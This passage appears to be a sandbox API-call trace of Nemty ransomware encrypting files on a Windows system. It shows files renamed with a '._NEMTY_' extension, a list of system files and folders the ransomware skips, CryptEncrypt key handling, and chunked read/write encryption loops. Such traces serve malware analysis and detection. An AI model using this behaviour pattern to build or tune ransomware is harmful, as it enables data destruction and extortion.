lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0059.732] CloseHandle (hObject=0xffffffff) returned 0 [0059.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0059.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0059.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0059.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0059.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.732] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0059.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.732] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="..") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="...") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="windows") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="$RECYCLE.BIN") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="rsa") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="NTDETECT.COM") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="ntldr") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="MSDOS.SYS") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="IO.SYS") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="boot.ini") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="boot.ini") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="AUTOEXEC.BAT") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="ntuser.dat") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="desktop.ini") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="CONFIG.SYS") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="RECYCLER") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="BOOTSECT.BAK") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="bootmgr") returned 1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="programdata") returned -1 [0059.733] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="appdata") returned 1 [0059.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0059.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_videoinset.png", lpUsedDefaultChar=0x0) returned 26 [0059.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0059.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0059.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_videoinset.png", lpUsedDefaultChar=0x0) returned 26 [0059.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0059.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0059.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_videoinset.png", lpUsedDefaultChar=0x0) returned 26 [0059.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0059.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_videoinset.png", lpUsedDefaultChar=0x0) returned 26 [0059.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0059.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0059.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0059.734] Sleep (dwMilliseconds=0x5) [0059.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd74216f0, dwHighDateTime=0x1d561e7)) [0059.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd74216f0, dwHighDateTime=0x1d561e7)) [0059.746] GetLastError () returned 0x5 [0059.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.746] GetLastError () returned 0x5 [0059.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.746] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0059.746] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0059.746] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0059.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0059.746] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="XSX4xmL763tuXSGfHc1GKSIqRvd1W88H1bT+4+eODpE3DaTs1LYfhAE5ixNco7yT\r\nFgswbMpjX/U95SD9HKqQXuH5ACbqM7HAZlYKo3hcCsgOQDLLhuG6Jz1ibch53YQ6\r\nmrRr+Om4mJ0EAyuasBRtOpzYpAJup49r+UINGcfTyHpIZ+NqGQ8ZUTAFVisPKXM6\r\n281xJSVZRi8RmzGi3Br7Nr0qSb7We72oYyItTSqhwnSASN9zvShTL411QRuWDh3v\r\nkTUpu/6ugrgZyOV6qWkNVRXD73rE9gCgoIB4DpWD9ou3VTfuWNEVWN1jPGP+0GLo\r\nhJgPGKbT7J184rgETsjwWA==\r\n", pcchString=0x653ec5c) returned 1 [0059.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0059.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0059.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0059.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0059.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0059.746] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.747] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0059.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6348d48 [0059.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.856] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d48 | out: hHeap=0x4f90000) returned 1 [0059.862] CloseHandle (hObject=0xffffffff) returned 0 [0059.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0059.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0059.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0059.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.862] HeapFree 